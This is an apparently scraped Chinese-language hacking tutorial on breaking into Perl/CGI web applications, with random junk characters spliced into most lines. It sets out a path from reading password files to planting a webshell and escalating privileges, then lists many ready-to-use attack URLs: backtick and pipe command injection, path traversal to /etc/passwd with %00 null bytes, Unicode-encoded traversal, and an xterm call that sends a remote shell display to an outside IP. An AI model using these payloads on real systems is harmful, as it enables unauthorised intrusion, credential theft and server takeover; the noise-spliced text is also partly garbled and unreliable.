总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 : R" H3 L7 Y2 t) B
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
3 F* X( D: Z. ]3 M7 ~) j6 {感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
9 \" ?1 @, U+ x' |8 J4 V1 C5 ^注“
1 n7 x! k* Z/ Yperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 " \' \2 p* c; G' e7 f: D5 y% }
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 1 w" A! v0 L& v% c" z9 E
$ U8 Z3 B! N2 Bhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 3 X/ u: d" h& p3 o! L
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 # M; L- m7 p8 p
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 9 N4 R2 ^/ i, D4 h4 d( t& a; w
http://target.com/cgi-bin/home/news/sub.pl?`id` ; R8 R# N- P. b @& `" |. M
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` , V; b3 X) G+ L( D) o+ B
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 7 s$ {( V. _5 w8 K5 l$ T, i
- ~% j1 a* V1 s
http://target.com/test.pl;ls|
- l; j4 w6 h* o& U5 R/ t( Ghttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 6 H, J z0 b5 ~
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| ( C$ X" j: Q/ E
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
: q3 g( O7 x8 n比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 ; f% K/ F& B/ t% q6 A e" S, K
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection : @" C) z" c. o" F' x+ I
+ R' [& C$ M1 ~http://target.com/test.pl?&........ /../../etc/passwd
8 D: p+ K9 R `2 S* w$ X6 S+ [" i+ Y( I# D
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ & M$ S4 K6 z: s9 l
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
9 U6 X8 k' d+ x. Nhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 5 R. _* j/ h* }6 e' \
8 M, G" v6 C' _) k, r' `http://www.target.org/show.php?f ... /include/config.php 查看php代码 ' |3 }( S+ s8 F
http://www.target.org/show.php?f ... ng/admin/global.php 9 [, d2 |. Z1 E4 m9 }! v; k
# I' l1 G% K) S+ c3 S
emm和ps的一句话
" n6 c: G' x e3 B6 |4 q9 k% X: |
* E' }! V" \! e0 y$ u0 |http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
1 M+ x* c1 P2 J% x: G1 i$ L# \
" G) b* V& y c4 F) ^. y>bbb%20|
) F8 ]! U, `5 J: Q9 m) Q1 h# C4 M4 Q/ Q) L9 b% ~( e
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 1 k3 i) [. `/ }# o9 U% F
7 a6 _$ P7 m. ^% }2 x: t2 thttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 & o4 V8 |5 G" h8 e" C4 n; v
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin # T7 i0 o6 R# |+ w
1 e, c, u) `. v: P. p相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
& m2 m" n% s. I; W, j, U9 ^http://target.com/index.html#cmd.exe
" y7 m4 T' Z& Ghttp://target.com/index.html?dummyparam=xp_cmdshell
" [3 v: S. r( t# d; W* z6 G/ a+ Ilynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
; G- ~# E+ v4 X/ e |